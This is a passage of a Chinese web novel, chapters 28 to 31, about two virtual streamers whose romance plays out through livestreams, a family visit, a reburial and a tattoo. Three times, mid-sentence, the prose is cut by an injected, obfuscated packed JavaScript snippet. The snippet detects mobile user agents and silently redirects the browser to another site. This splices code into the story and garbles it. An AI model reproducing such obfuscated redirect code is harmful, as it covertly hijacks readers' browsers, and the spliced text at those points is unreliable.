说着他拿出手机准备打开微信,手机横幅弹出一条消息。 [您的特别关注的主播M.六夜竹三分钟前开播了,快来看看吧!] 闵谌看向他。 李竹戴着口罩的嘴巴动了下,眼睛瞟向一边,“我什么也没看见。” 闵谌一声不吭地划掉横幅,伸手去挡住李竹眼睛,一本正经道:“快点,加。” “加加加。”李竹十分识趣,“立马加。” 直播间弹幕: [小情侣取悦cp粉的手段罢了。] [我早已习惯,我只想知道是什么让六夜竹转变如此之快。] [请把摄像头打开,不要把我们关进小黑屋,我们也想看。] [竹影摇花久久。] [真情侣就是好磕。] [今天是哪一出?] 李竹看了眼弹幕,清了清嗓子道:“我自己看就行,你们就别看了啊,有点自知之明。” 弹幕: [六夜竹个不要脸的玩意儿。] [我待会就是发大字报蛐蛐你。] [是呗,你家洗衣粉儿~我们看不得~] [没见过这么抠门儿的。] [前面的,现在你见到了。] 李竹假装扫了下手机,“加上了。” 闵谌点头,“行,走吧。” “去哪?” “带你去酒店吧,家里住不开。” “成。” 闵谌带着李竹去了舅舅家附近开的民宿住着,这家民宿环境还算可以,很清静,装修风格也很符合清雅二字。 李竹拿行李丢到床上,一屁股坐在沙发上,手机架在桌上,摄像头对着自己。 闵谌没戴口罩,不能露脸,要是不小心把整张脸露出去,三百万跟不要命一样逃也似的从兜里跑出去。 “花儿。”李竹想起来自己包里戴了多余的口罩,还是戴着以防万一被粉丝蹲到,“我包里有口罩,你翻翻看。” 闵谌应声,伸手去拿床上的包,打开一看,他沉默了。 “等等……” 闵谌看向他。 李竹:“……” 闵谌突然皮了下,“哇偶,哥包里好多小盒子。” 李竹挑眉看他,“你懂的。” 闵谌摇头,装傻:“我不懂。” 李竹气笑了,“我懂就行。” 闵谌见好就收:“行。” 闵谌翻出口罩带好,打了个哈欠。 李竹问:“困了?” 闵谌点头,如实道来昨天刚到家经历了什么,又为什么这么久没睡。 李竹听了骂了赵国厉半个钟头,他听爽了,直播间的粉丝们也听爽了。 句句不重复,还不带脏字把赵国厉反复鞭尸,骂到最后李竹骂得来了性情,说去派出所见见赵国厉,当面骂,好在闵谌拦住了,没让去。 直播间粉丝们也在劝,李竹才善罢甘休。 这边还在安慰,手机那边陈嘉炽开播,一脚踹进李竹直播间连线。 “打一把打一把……”陈嘉炽没喊完,看到李竹正抱着个人。 李竹抱着的人背对他,不知道是谁,顿时怒吼:“我靠!六夜竹!你大爷的,你,花儿不在你出轨是吧!啊?” 李竹冲着镜头扬眉。 陈嘉炽气炸了,没想到自己兄弟是这样的人,没吃到就天天念着,现在吃到了,居然跑到外边偷腥。 “我说跑场地怎么还请假,原来去跟小情人儿幽会去了!你对得起谁六夜竹!” 直播间弹幕: [9总这是咋了。] [哈哈哈哈哈哈哈,进来一顿输出。] [你怎么还挑衅你发小啊六夜竹。] [9总气炸了,不过杀伤力有点一般啊。] [要不让花宝转个头呢。] “宝贝儿,这人进来就骂我。”李竹语气是藏不住的茶,“你看他。” 闵谌挣扎着从李竹身上下来,扭头跟屏幕前陈嘉炽的虚拟皮套来了个大眼瞪小眼,“嗨,老板。” 陈嘉炽:“……” 他沉默半晌,意识到什么叹了口气,异常平静道:“说吧,我是不是你们普勒的一环。” 闵谌眨着大眼睛摇头,“并不是,我刚刚在安慰哥。” 陈嘉炽虚拟皮套低头,半张脸卡在屏幕前,少顷又道:“打一把,奖励局。” 闵谌道:“好。” 陈嘉炽火速闭麦,碾压他们一大截。 闵谌这边不好开口,这毕竟不是他的直播间,不能为所欲为,他看着李竹,李竹看着他。 “怎么了?”李竹问。 闵谌不好意思道:“我帮你接pk了。” “嗯,然后呢。” “你……拉票吧。” 李竹捏捏他脸蛋,“咱不跟他打,他那边有个用户哥。” “用户哥是谁?”闵谌问。 李竹招招手,示意他靠近一点。 闵谌靠过去,把耳朵贴近李竹嘴唇。 “付岁。” 闵谌了然,“那不跟他打,惩罚怎么办?” 李竹不以为意,“接呗, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483939|201909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怕什么,打完这把咱就下,你不会要补觉?” 直播间粉丝们也很听话,说不刷就不刷。 毫无悬念,陈嘉炽这把pk赢了。 “你俩放水放到太平洋去了吧?”陈嘉炽调侃道。 李竹道:“少废话,罚什么,我们一会还有事要忙。” 陈嘉炽也不墨迹,很快把自己的目的说了出来,“后天,我偶像付岁的电影首映,你俩一人包一场,没毛吧?” 闵谌嘴巴蠕动:“……” 李竹翻了个白眼:“……” 感情陈嘉炽支持对象把他俩也带上,属实是被当赠品打整了,买一赠二。 李竹立刻拿出手机看了眼时间,“行,要不是看在花儿要睡觉,你看我干不干你就完了。” 陈嘉炽指着他们,“你俩赶紧滚吧,下播,然后把人甩给我,滚去过你俩二人世界去吧,两个大漏勺。” 陈嘉炽骂完迅速退出PK连线,让李竹都来不及回骂。 两人在直播间跟粉丝聊了一会便下播了,没多聊,李竹没说一句话,闵谌就打一个哈欠,双眼无神,看着有种生无可恋的感觉。 这边刚下播闵谌就躺床上闭眼,李竹脱鞋也跟着躺在身侧,单手撑着脑袋,仔仔细细打量着闵谌睡颜。 几秒后闵谌呼吸平稳,显然已经睡着了,李竹轻轻地将他口罩摘下,在他嘴上亲啄了一口,才摸出手机给自己订了个外卖。 从昨天给闵谌发消息开始,他就没吃过任何东西,连水都没喝,下飞机时也忘了吃饭的事,光顾着甜蜜,把肚子忘得一干二净。 李竹下楼拿外卖的时候民宿老板问他:“你是明星吗?” 李竹愣了下,摇头:“我不是。” 老板是个姑娘,长得很漂亮,穿着打扮跟民宿风格不同,一身皮衣皮裤皮靴,耳朵上的耳钉感觉成串成一条手串的那种。 老板道:“我看你带个口罩,还以为你是明星呢。” 李竹笑了笑,随口胡诌道:“不是,戴口罩是对紫外线有点过敏。” 老板看了眼天空炎热的太阳,“那确实,我现在要出门了,要什么需要自己方便,记得付钱。” “成。” 老板走到门口想到什么又转回来,“如果要出去的话记得帮我关门,钥匙你带着,钥匙丢了我通缉你。” 最后一句说得非常咬牙切齿,可见之前钥匙被别的客人带走过,不然不会这么跟他说。 李竹提着外卖盒子上楼,刚准备开门,门自己就开了。 闵谌站在门后,双眼朦胧,刚睡醒的样子。 “你怎么醒了?” 闵谌伸手把他口罩拉下来,亲了一口,转身进入浴室,“不睡了,晚点去舅舅家那边汇合。” 李竹推门进来,顺手把外卖放在鞋柜上,“我可以跟着去吗?” 闵谌开水洗脸,“当然,没什么不可以的,家里没什么见不得人的东西。” “这么不见外?”李竹靠在门边。 闵谌看他一眼,继续低头洗脸,“在床上的时候你怎么不说。” 闻言李竹“嘿”了声,“闵小花儿,我发现你最近胆子越来越大了哈,什么话都敢说了。” 闵谌咧嘴笑笑,拿毛巾给自己把脸上水渍擦干净,踮起脚在他脸上各一边亲了口,“嫁鸡随鸡嫁李竹随李竹,哥,先去吃饭吧。” 李竹无偿获得三个香吻,心满意足地去吃饭去了。 29. 第 29 章 闵谌把人带到家里了。 何启扬看着门外手拉手的两人,表情凝固一瞬,40多岁的舅舅顿时苍老了许多。 他指着李竹道:“这位是……” 闵谌:“我男朋友。” 一声闷响。 舅妈端着盘子悬在桌子半空目瞪口呆地看着他们,何洋洋脚一滑从楼梯上滚下来。 何启扬:“……” 何洋洋:“……” 舅妈:“……” 吃午饭的时候李竹给闵谌夹菜,桌上气氛很沉默。 何启扬眼睛止不住地打量李竹,越看越觉得这小子眼熟,但是想不起来是谁,只能在心里黯然神伤,姐姐家好白菜被猪拱了。 何洋洋脸埋进碗里,使劲扒拉饭,恨不得把自己跟碗合为一体。舅妈双眼无神,边吃饭边小声喃喃。 完了,小谌被带坏了,闵家断后了。 闵谌和李竹仿佛被一道屏障笼罩着,完全感受不到此刻的气氛,还在有说有笑地聊天。 李竹第一次来闵谌家里,比较在意对象家里人对自己的看法,起初只是想跟闵谌聊一会,缓解他们因闵谌大大方方承认而产生的情绪,没想到气氛如此沉默,就好像这屋子只有他们俩似的。 吃完饭五人坐在沙发上。 闵谌和李竹挤在一张单人沙发上。 何启扬和舅妈坐着长沙发,两边一人一头撑着下巴,看天花板看地上就是不看电视和小情侣。 何洋洋把头埋着,用嘴叼着衣服拉链,时不时抬眼看一下他们所有人,又继续低下头当空气。 这气氛实在是太压抑,李竹受不了,斟酌开口道:“舅舅……舅妈?” 被点到的二老慌忙“诶”了好几声。 李竹道:“我知道你们很难接受这件事,但是我和闵谌是真的,不是开玩笑。” 闻言何启扬肉眼可见的更加苍老了,挺直的背脊都弯了一个弧度。 沉默良久,何启扬道:“你……这,多久了啊。” 李竹搓搓膝盖道:“准确来说十三年,快十四年了。” 何启扬和舅妈对视了一眼,他们也不是什么封建的人,就是消息来的太突然了,一时间有点接受不了。 “哦哦…”何启扬道:“我们没有阻拦的意思,就是想知道小谌是不是自愿的,我不是那个说你强迫他的意思,就是问问他怎么想的,你能懂吧?” 李竹点点头,“懂。” 闵谌道:“舅舅舅妈,我们是互相的。” 何启扬:“……” 舅妈:“……” “行,行,互相的就行。”何启扬看着舅妈:“我是不是要给他俩包个红包什么的?” 舅妈收到信号,连连点头:“对对对,我去找找。” 没等闵谌阻拦,舅妈踩着拖鞋噔噔噔上楼。 何启扬仅用这几句谈话的时间,就接受了自己外甥跟一个男人在一起的事实。 从法律上讲他是闵谌现在的监护人,连他都不支持,要是以后遇到难题就没人会给闵谌撑腰了。 “你们是真心的就行,小谌长大了,有自己的决定,舅舅舅妈干涉不了,只能在身后给你当后盾。”何启扬握着闵谌的手拍了拍,又拍拍李竹肩膀,“希望你待小谌好,这孩子什么都好,就是能藏事,遇事你不问他不会说,以后你多担待。” 李竹珍重点头,“知道了,舅舅。” 何启扬硬着头皮点头,连拍在李竹肩膀上的手都加重了几分。 虽然心里接受他们在一起的事实,但是生理上接受不了这人叫他舅舅,话都说出去了,这声舅舅不认也得认。 舅妈匆匆下楼,手里拿着两个大红包,厚度是肉眼可见的,她把两个红包分别发给了闵谌和李竹。 何启扬脸颊肉疼地抽了下。 但是往好的想,闵谌以后有人照顾了,出门在外也不再是一个人。他一直心疼这孩子在外发展,一个人出事没个人知道,而且闵谌也不爱打电话给家里人报平安。 往好的想,往好的想,何启扬在心里疯狂暗示自己。 两点半后,家里来了一群人,何启扬说是风水先生和负责迁坟的老师傅们,一群人在客厅聊了很多注意事项,需要准备什么,需要回避什么,聊完一家子全都出发去了父母的墓地。 闵谌走在最后,左手被李竹牵着,还挨个在他手指关节上轻轻捏了捏,以示安慰。 闵谌笑笑,“我没事。” 其实这么多年,早没事了,就是看到的时候忍不住站在她们墓碑前多停留一会,什么也不想,什么也不做。 一阵清风吹过,吹动了他额前碎发。 李竹说:“咱爸妈想你了,来摸摸你的脸呢。” 闵谌扯了扯嘴角说:“是吗?我以为她们没来看过我呢。” 李竹说:“怎么会,咱爸妈应该很疼你,不会不来看你的,说不定这会在哪看着你呢。” 闵谌垂眸看着地面,半晌后抬眼,眼眶微红地看着迁坟师傅们一脚踹倒墓碑,开始动土。 大家都很沉默,何启扬一根接着一根地抽着烟,他站在墓碑旁眼睛紧紧盯着迁坟师傅们的一举一动,不知道在想什么。 闵谌父母被装在两个棺材里,被迁坟师傅们抬了起来,棺材经过多年在地下的腐蚀,早已变得斑驳不堪,仿佛碰一下就能瞬间四分五裂。 何启扬心疼姐姐姐夫,问风水师能不能给换口棺材,风水师摇头,表示现在不能,至于为什么不能没明说。 迁坟很快又很慢,从一个地方换到另一个更好的地方,重新下葬,重新做法事,等忙完天已经开始暗了下来。 看着父母被重新下葬是一种什么样的感觉?李竹说:“给他们在下面重新选一套更好的房子,住着更舒服些。” 也许吧。 闵谌三拜九叩后便跟着何启扬一家三口离开了。 - 傍晚李竹一个人在民宿直播,他直播有效时长没够,眼瞅着距离周年越来越近,月底也临近,时长不够得扣钱,虽说无伤大雅,公司每年分红他都能拿到一笔不小的数目,但时间久了会被人拉出来做文章。 最初公司刚起步没多久的时候,他跟陈嘉炽很忙,忙着处理公司员工的各种资料,一些数据问题等等。 之前因为直播有效时长不够、排档时长也不足,被一些黑子拉出来做文章。 李竹这会直播水时长,纯唠嗑,播半身,没露脸。 他们作为虚拟主播,每个月都要播一次会员直播,会员直播除了露脸和打游戏,其他内容随便播,会员直播必须播满一小时。 直播间一直在问花儿去哪了。 李竹顺便暗戳戳透露一些细节道:“花儿在家,今天去见了花儿的家人,都很好。” [没把你赶出去?] [下次来见我们这群cp粉。] [我们一定把你打出去。] 李竹翘着二郎腿,“见你们干啥?不见,万一把我家花儿拐跑了我找谁哭去。” [第一次线下见花儿的时候就觉得他香香软软的。] [怀念啊,要是我知道那是花儿我一定上前要个亲签。] [我到现在还存着你们俩一个台上一个台下的图,太神了。] 李竹道:“七香八香的,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483940|201909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闻过啊?你躲他被子里了啊?” [你看你又急。] [六夜竹急了。] [不讲不讲。] “谁急了?我对象待会会来找我,你们信不信。” [不信。] [想他了就说,我们又不会嘲笑你。] [就是,谁还没个想对象的时候了。] “我想他了。” [想去吧。] [真以为我们不会嘲笑你呢?] [招笑了哥们,你以前是这样吗?] [花儿现在在我旁边,别想了。] [我已经抱走花儿了,勿念。] 李竹懒得理这群粉丝,“等会儿,我接个连线。” 话音刚落,李竹加入四人连线局,加上他共五人。 噗噗,假人,皇子,西瓜皮,外加他一个想媳妇儿的六夜竹。 “怎么个事儿啊?你们一对一对的拉我干啥?” 噗噗说:“竹哥,我们想你了,没有你的日子我们茶不思饭不想的。” “别搞。”李竹说:“我不想你们。” 噗噗说:“那算了,谁是主持,给他踢出去。” 弹幕: [哈哈哈哈哈哈哈。] [噗噗撤回对你的想念。] [笑死了。] 西瓜皮:“哥,玩一局,玩一局。” 李竹:“不玩不玩。” 噗噗:“玩玩玩。” “皇子:“来一句来一句。” 李竹:“皮是吧。” 假人:“皮皮皮。” 李竹恶狠狠道:“来,玩一局,打不死你们。” 直播间闭麦开始拉票,噗噗,假人,西瓜皮,皇子,四人疯狂拉票,个个bgm劲爆得不得了,李竹这边风平浪静。 “待会偷塔不急。”李竹把自己放大,说,“咱们聊会。” 弹幕: [聊点啥。] [我想知道你怎么锐评花儿。] 李竹看到这条弹幕思考了一瞬,“锐评谈不上,这毕竟是我老婆。” 说着他想到什么,跟直播间粉丝说:“诶,你们知道吗,花儿这个人,脾气很好,有事儿会自己扛,扛不住才来找我,这次我来G市,是因为他不回消息,我急眼了才飞来的,啧啧啧,我老婆,不会做饭,有时候喜欢睡懒觉,脾气上来了很倔,身体毛病还多,跟瓷娃娃似的,打不得骂不得,上次医院那事儿记得吧,我给家里尖锐的东西全都包起来了,怕他受伤,别说这样小心翼翼的还挺累。” 这时候飘来一条弹幕,应该不是他直播间粉丝,可能是感兴趣点进来的路人。 [兄弟,这种女人就是被惯坏的,你赶紧跟她分了吧,指不定将来骑你头上拉屎。] 李竹皱眉凑近屏幕,扒拉着这条弹幕反反复复看了不下三遍。 李竹挺直背脊,转了转胳膊,“来来来,说分了的那个兄弟来,哥们跟你唠两句。” “那他大爸的是我媳妇儿,骑我头上拉屎我都愿意,你再点评两句,哥们打不死你,让你竖着进来横着出去。我说归我说,你说我媳妇儿,我捅不死你,个脑子别脚后跟的玩意儿。” 弹幕: [你说你惹他干嘛。] [遭老罪了,别乱扫,自己人。] [兄弟,他说他的,你接他话干嘛啊,这不纯找骂么。] [时隔多日,我还以为你谈恋爱把嘴落家里了呢。] [听爽了。] 叩叩叩—— 李竹及时停止单方面谩骂,“等着,我去开个门,回来继续骂你。” 30. 第 30 章 打开门,闵谌站在门口,手里拎着个保温盒,“哥……” 话音未落,他整个人被拉进屋,身后的门被大力甩上,被抵在手机镜头死角。 李竹用眼睛描摹着他的轮廓,半晌低声道:“亲一下。” 闵谌“唔”了声,“可以。” 说一下真就一下,只是轻轻地碰了碰嘴唇,并没有深入交流。 李竹问:“来给我送饭?” 闵谌晃了晃手里的保温盒,“是,怕你一个人不吃东西。” “咱老舅准你来?”李竹接过保温盒,打开一看,糖醋排骨味儿,“闻着还挺香,特意给我夹的?” 闵谌:“当然,我来的时候舅舅问我去哪,我说来给你送饭。” “听着咋那么可怜。” “哥才不可怜。” 闵谌走到床尾,看见李竹的手机立在桌上,还开着直播,他往旁边挪了一点,在保证不出现在镜头前的地方坐下。 保温盒被李竹拆开放在一起,看了他一眼,“你帮我播会儿,我吃个饭,半身直播,不露脸。” “好。” 闵谌小心翼翼地坐到手机前,为了不让自己脸露出来,他仰着脖子去拿手机,先将镜头对准自己头以下的部位。 落座后才开始调整手机摄像头的位置。 弹幕: [看出来很小心了。] [有种淡淡的偷感,谁懂。] [那也太淡了兄弟。] [300万警告。] [兄弟,来捅死我。] 用手机半身直播真不好看弹幕内容,闵谌拿出自己的手机静音进入李竹的直播间,一进去就看见一条弹幕飘过。 “什么捅死你?我么?” 李竹“诶”了好几声,“恶评别看,刚刚他骂我,我才骂他的,他说要捅死我,我说的反弹。” 这句话显然没什么可信度,直播间一排问号刷过。 “真的?” 李竹眼神十分真诚道:“真的。” “他为什么要这么说?” 李竹脸不红心不跳地为自己添点油加点醋,“我刚刚在直播间夸我老婆来着,他让我早点分了,不然你会在我头上拉屎。” 闵谌闻言脸颊浮出一抹红晕,将信将疑,“真的?” 李竹道:“不信你问直播间的兄弟们。” 弹幕: [又兄弟上了老铁。] [我证明,六夜竹说的是真的。] [刚在直播间炫耀你来着。] [对啊,那个人上来就让分,换谁谁不气。] 闵谌悄咪咪用自己的手机在直播间发了条弹幕。 [M.漂亮的花儿:他夸他老婆什么了?] 直播间的粉丝化身小喇叭。 [他说他老婆有事自己扛,扛不住才找他。] [他还说他老婆不会做饭,喜欢睡懒觉。] [还有说他老婆倔脾气,身体毛病还多,跟陶瓷娃娃似的,打不得骂不得。] [划重点,他说累。] [记下来,要考的,六夜竹说他老婆骑他头上拉屎他都愿意。] [M.漂亮的花儿:知道了,谢谢大家。] 闵谌觉得脸颊烧得慌,眼睛到处乱瞟。 突然一条提示跳出来。 [pk已结束,输了也不要气馁~] 闵谌:“?” 什么东西? 闵谌往边上看,屏幕边上齐刷刷站着四个人,他们一句话不说,直愣愣地看着他。 他扭头看向李竹,“哥,你在打pk?” 李竹咬了一块排骨放进嘴里,闻言点头道:“对,我忘了说。” 闵谌:“......” “嗨,”他抬手在屏幕前挥了挥,“各位老师好...” 直播间霎时热闹起来。 “饱了饱了,正主自己抡锅铲。” “虽然我很想离开,但是这个惩罚我还是不想放过。” “没见过直播开一半换人的。” “这饭硬塞进嘴里,没办法,只能吃了。” 四个人四张嘴,他只有两只耳朵,完全听不过来。 等他们闹够了,他才问:“是个人局吗?” 假人幸灾乐祸道:“不是,你没来之前是竹哥一个人我们四个,你来之后是一个半打我们四个。” “为什么半个?” “本来不算这半个的,他说话也算半个。” “……行。” 合着他赶上好时候了,一来就要领四个惩罚。 闵谌问:“罚什么?” 西瓜皮票数第一,“我先来,花儿现在手机在身边吧?” 闵谌摸了摸兜,“在。” “那你给竹哥拍张照发蓝海动态吧,配文be了,全网找搭档。” 李竹一听,把筷子一丢站起来,下半身出现在直播屏幕前,双手搭在闵谌靠坐的椅背上,“发布一个通缉令啊,直播间的兄弟们,明天起,全网通缉这个M.西瓜皮,他在哪给我报位置,我追着他杀,谢谢。” 说完伸手在闵谌脸上摸了下,转身回到自己的位置上,继续吃饭。 西瓜皮在直播间尖叫,“诶!我被六夜竹通缉了!” 弹幕: [没点报酬你还通缉上了。] [没有帮忙的义务。] [给点好处,兄弟们就帮你。] [人家爱播叫粉丝叫宝子们,你叫你家粉丝叫兄弟,你要死啊你。] 李竹直播间的弹幕跟他自己直播间的弹幕风格完全不一样,一时间他还有点不适应。 他伸手抠了抠自己的嘴皮子,让自己憋住笑。 西瓜皮叹了口气,感叹道:“这辈子能被竹哥全网通缉,值了,感谢竹哥给流量。” 闵谌这边已经拿出手机,对着李竹拍了一张背影照发到蓝海动态里。 [[图片]BE了,全网找搭档。] 照片里,李竹侧坐着,长腿交叠,低着头吃饭,从背影照就能看出,李竹身材很不一般,倒三角型身材,宽肩窄腰。 衣服被掖进裤子里,勾勒出修长挺拔的身材,照片里李竹没露脸,光看背影便透着几分慵懒的气质。 闵谌说:“西瓜老师的惩罚我做了,还有三个,全说了吧。” 假人突然道:“哥几个帮我代播一下,我去所里办点事儿。” 皇子道:“OK,去吧,别掉所里了。” 假人骂:“滚。” 皇子挨骂也不恼,乐颠颠对闵谌道:“我的惩罚很简单,你跟竹哥拍一张花臂露腰,发出来给大家看看。” 闵谌脱口而出:“竹哥没有花臂,这个可能拍不了。” 皇子的虚拟皮套伸出一根手指在镜头前晃了晃,“有的兄弟,纹身贴了解一下。” 闵谌硬着头皮答应下来:“......行。” 噗噗道:“我的惩罚也很简单,你们明天回来吗?” 闵谌道:“回。” “那明天回来的时候请我们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483941|201909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吃饭。” “可以。” 吃个饭而已,不是什么大事。 假人上完厕所回来,“那我就罚花儿跟我搞个合唱。” “接了。” 什么也没干的闵谌,帮李竹直播领了一兜子惩罚下播。 下播后闵谌正打算去网上买纹身贴,李竹从身后伸手挡住屏幕,“你真看?” 闵谌反问:“不然呢?你又没花臂。” 李竹挑眉问:“喜欢?” “一点。” 闵谌说完脸颊爬上一抹红晕,看得出来是喜欢的。 李竹表现出超强执行力,拿上衣服戴上口罩,“走。” 闵谌懵了:“去哪?” “纹身。” “真去啊?” “不然呢?” 闵谌就这样被拉着去了一家开在犄角旮旯的纹身店,两人进门,店里一个人也没有,给人一种生意不好的感觉。 李竹按照软件上给的联系方式给老板打了个电话,电话铃声就从隔间传出来,接着电话被挂断,一个顶着寸头、满身文身、嘴里叼着根烟的男人走出来。 这人一看比李竹还像道上混的,感觉纹身店老板除了头,全身都是纹身。 老板看看他们两人,眼睛定格在李竹身上,“想纹什么样的?” “纹个花臂。”李竹说,“有没有推荐的?” 老板点点头,从身后桌上拿起平板,在上面点了几下,递给李竹,“你看下,最近新画的。” 李竹拉着闵谌坐到沙发上,翻阅着纹身稿件,一眼就看中了一个图案。 “这个不错。” 闵谌看着也觉得不错,主要是看纹在谁身上了,纹坨屎在李竹手臂上,他可能会违心夸帅。 确认纹哪个后,李竹把平板还给老板,“就这个。” 老板点头,“行。” 这纹身纹了很久,本来需要分三四次来纹,李竹等不了那么久,况且明天就要回A市,来回跑很麻烦,又不想再跑G市,而在A市找不到同手感的纹身师,纹出来会很丑,于是干脆加点钱让老板一次纹完。 闵谌在纹身店的沙发上睡了一觉,醒来看见老板在给李竹擦掉手臂上的泡沫,完整的纹身显现出来。 他的右手手臂宛若覆盖着一片墨色的荆棘,像是夜空中的流火与枝丫被生生地烙进皮肤里,尖锐的纹路蔓延过肩头,那些扭曲的枝蔓顺着肌肉线条游走,边缘晕开细碎的墨点。 李竹跟纹身店老板站在一起,两人仿佛可以肩并肩在道上混出个名堂来。 闵谌眼睛直勾勾盯着那条手臂。 他很喜欢,要是不穿衣服看,不知道会多带感。直到李竹的手臂被保鲜膜裹上后,他才依依不舍地挪开视线。 闵谌的表情李竹尽收眼底,他看得出来闵谌很喜欢这个图案,喜欢这个,那个,但不会说,没有就不抱期望,不会主动说出自己的诉求,除非逼急了才会向你透露出一点小心思。 两人走出纹身店,李竹看着只剩下几盏路灯的道路说:“很喜欢?” 闵谌笑着点点头,不说话。 “说话,不说我明天就洗了。”李竹威胁道。 闵谌拉着他左手忙道:“喜欢,哥,别洗,我很喜欢。” 得到想要的回答后,李竹把刚纹好的手臂递到他面前,“拍吧,记得发朋友圈。” 闵谌愣了愣,随即把大眼睛笑成小月牙。他拿出手机对着李竹的手臂咔咔拍了几张,转头发了朋友圈,一个文字也没配,只有四张图片。 31. 第 31 章 隔天,两人起了个大早,天还没亮就起来,目的是为了赶飞机,两人大半夜玩得太兴奋,睡不着订了早上七点的机票。 闵谌闭着眼睛站在浴室的镜子前刷牙,李竹站在他身后,下巴抵着他头顶,双手环住他的腰。 闵谌刷完牙洗完脸,睁开眼睛看着镜子,一条满身荆棘纹身的胳膊搂着自己。 他皮肤是冷白皮,加上他穿着白色T恤,被一条花臂搂着,着实有些刺目。 他低头在李竹胳膊上亲了一口,一股淡淡的水蜜桃香味弥漫在鼻尖,他问:“哥喷香水了?好像。” 李竹语调懒懒地说:“没有,刚纹的,肯定得好好养着,涂了点身体乳保湿,过段时间结痂,差不多就好了。” 闵谌惊讶:“哥还懂这些。” “嗯哼,”李竹说,“我懂的多了,昨晚不是教你了?” 闵谌霎时小脸通红,轻轻推开身后人,小发雷霆道:“走开,我穿衣服。” 他出了浴室,里面传来流水哗哗声,应该是李竹在洗漱,他从包里拿出自己要换的衣服套上。 正当他准备换裤子,手已经搭在裤腰上的时候,李竹从浴室冲出来,把人压在床上。 闵谌吓得眼睛瞪圆了,“哥……” 李竹头埋在他颈侧,深吸一口,落下密密麻麻的湿吻,“感受一下早晨的力量。” 闵谌脸快着火了。 李竹恶劣地顶了下,“感受到了吗?” 闵谌羞耻道:“感受到了,哥,我换裤子。” 李竹没动。 闵谌推了下,他才不情不愿起来盯着自己小弟,骂:“不争气的玩意儿,你媳妇儿都不乐意了。” 闵谌:“……” 李竹哄它,“到家的。” 闵谌:“……” 谁来救救他。 两人墨迹半天才弄好,何启扬塞了点特产让他们带回A市去,到机场的时候刚刚好,赶着脚后跟取票。 在飞机上闵谌用不到U型枕,被李竹强制靠着他肩膀入睡。 他们到家的时候才中午刚过,还没吃饭还处于迷糊状态的闵谌直接被拉入卧室。 李竹急吼吼甩上门,一把拔掉闵谌的裤子甩到一边,把人按在床上进行了一个多小时的高强度间歇性运动。 期间闵谌被迫执行了昨天的惩罚,花臂搂腰照片,一共两张,一张上半身没衣服,一张都整整齐齐地穿着衣服,除了胳膊和脖子,其他都被遮得严严实实。 运动结束,李竹顶着满背抓痕洗了个澡,心里美滋滋地出来准备午饭,还不忘给噗噗他们打电话,让他们来家里吃。 这顿饭少不了要喝酒,没下楼,后背的抓痕他自己对镜还没欣赏够,叫了跑腿。 做完这些,李竹拿着闵谌手机严选了穿衣服的那张花臂搂腰照片在蓝海发了条视频。 短短几秒,点赞数量达到600。 [饭饭香香。] [昨天直播在场,这速度真快。] [时隔一天,又吃上了。] [好腰……不是。] [六夜竹,我鲫鱼你老婆。] 李竹丹看着那条评论,反手点了举报。 敢觊觎他老婆的人,通通捅死。 噗噗、西瓜皮、假人、皇子四人,电话刚挂没几分钟,门铃就响了,还传来噗噗大声说话的声音。 “竹哥,开门,我知道你在家。” 李竹只穿了下半身的一条宽松灰色运动裤,嘴里叼根烟去开门。 门一打开,四个人当场傻在原地。 噗噗:“……” 皇子:“……” 假人:“……” 西瓜皮:“……” “竹哥,你这纹身贴还没洗啊……”皇子干笑几声,“看着还挺逼真。” 李竹看了眼自己的胳膊,淡淡道:“哦,纹的。” 皇子:“……” 四人对视一眼,不敢吭声。 李竹看他们跟鹌鹑似的,招呼他们:“进来吧,花儿还在睡,你们四个随便坐。” 李竹一转身,噗噗指着他后背惊叫道:“竹哥!你被人打了?” 他反手摸了下,不以为意:“猫挠的。” “你养猫了?” 李竹看他。 皇子用手肘拐了一下噗噗,示意他别问了,然而噗噗并没有领会到他的意思。 “你拐我干啥?”噗噗道:“竹哥养的什么品种的猫,我能看看吗?” 李竹看他的眼神越来越冷,“猫在睡觉,品种德文。” 噗噗感觉后背发凉,“竹哥,家空调开这么低啊,感觉背后凉飕飕的。” 李竹皮笑肉不笑道:“凉是正常的。” 噗噗看看身后三人,又看看李竹,终于察觉到一丝不对劲,忙道:“竹哥去做饭吧,我们三个随意,不用管我们。” 李竹斜睨了他一眼才回厨房继续准备食材。 人一走噗噗拍着胸口坐到皇子身边,小声道:“刚你们咋不说话?我是真想知道竹哥家猫长啥样。” 西瓜皮道:“花儿啥样竹哥家猫啥样。” 噗噗恍然大悟:“原来竹哥身上的伤是花儿抓的啊,但是为什么抓啊?” 假人看他,“你是真一点不知道?” 噗噗摇头:“不知道啊。” 